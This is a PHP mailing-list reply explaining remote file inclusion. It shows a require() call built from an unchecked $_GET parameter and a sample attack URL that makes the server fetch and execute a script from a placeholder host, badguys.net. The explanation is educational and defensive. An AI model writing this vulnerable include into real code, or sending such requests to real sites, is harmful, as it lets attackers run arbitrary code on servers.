Re: Fwd: [PHP] Highjack?

tedd wrote:
Ohhh, so "badscript.php doesn't have to exist and the badscript.txt is imported via the url, the script is built using only the badscript.txt, and then executed "as-is" -- clever.

Off to try that... :-)

...

Nope, that didn't work -- I still don't get it.

I realize that one can grab stuff from another server, but I still don't see how one can do this.

Ok, so badscript.php is a bad name for this script. Let's say show.php is a script you've written. You were tired, the kids were running around you screaming and shouting, and you wrote something like the following without really thinking about it...

<?php
require($_GET['path'].'commonfuncs.inc.php');
// Do other stuff here, using functions in commonfuncs.inc.php
?>

The *bad guy* can now hit the URL...

http://yoursite.com/show.php?path=http://badguys.net/injectionscript.txt?ignored=

This causes show.php to include (i.e. execute!!) the remote file injectionscript.txt from badguys.net at this URL...

http://badguys.net/injectionscript.txt?ignored=commonfuncs.inc.php

Since this gets executed on your server it can do anything one of your scripts can do. The only symptom would be that show.php will not work for that request. Do the bad guys care? Probably not, because by the time it fails they've already replaced your index.php and potentially installed a rootkit, backdoors and whatever else (depending, of course, on how locked down the web server is and your file permissions).

Hope that makes sense now.

-Stut
.

Relevant Pages

  • Re: IP addresses and JS.
    ... >>A computer language is just that, ... Javascript is just a programming language, and may be used to script all ... The interaction between a web browser and a server is through HTTP. ... execute scripts and/or programs, ...
    (comp.lang.javascript)
  • Re: Same Internal Server Error from last two days
    ... I am trying to run a Hello World Perl Script in Apache 2.2. ... But its constantly giving me Internal Server Error.The script ... # have to place corresponding `LoadModule' lines at this location so the ...
    (perl.beginners)
  • Re: Same Internal Server Error from last two days
    ... I am trying to run a Hello World Perl Script in Apache 2.2. ... But its constantly giving me Internal Server Error.The script Runs perfectly fine from the command prompt. ... # This is the main Apache HTTP server configuration file. ... LoadModule actions_module modules/mod_actions.so ...
    (perl.beginners)
  • Same Internal Server Error from last two days
    ... I am trying to run a Hello World Perl Script in Apache 2.2. ... But its constantly giving me Internal Server Error.The script ... # have to place corresponding `LoadModule' lines at this location so the ...
    (perl.beginners)
  • Re: Regarding a selection for mobile code/scripting language
    ... Client Side scripting, so the server can send script commands to the client. ... I decided they should be scripted and mobile code. ...
    (Vuln-Dev)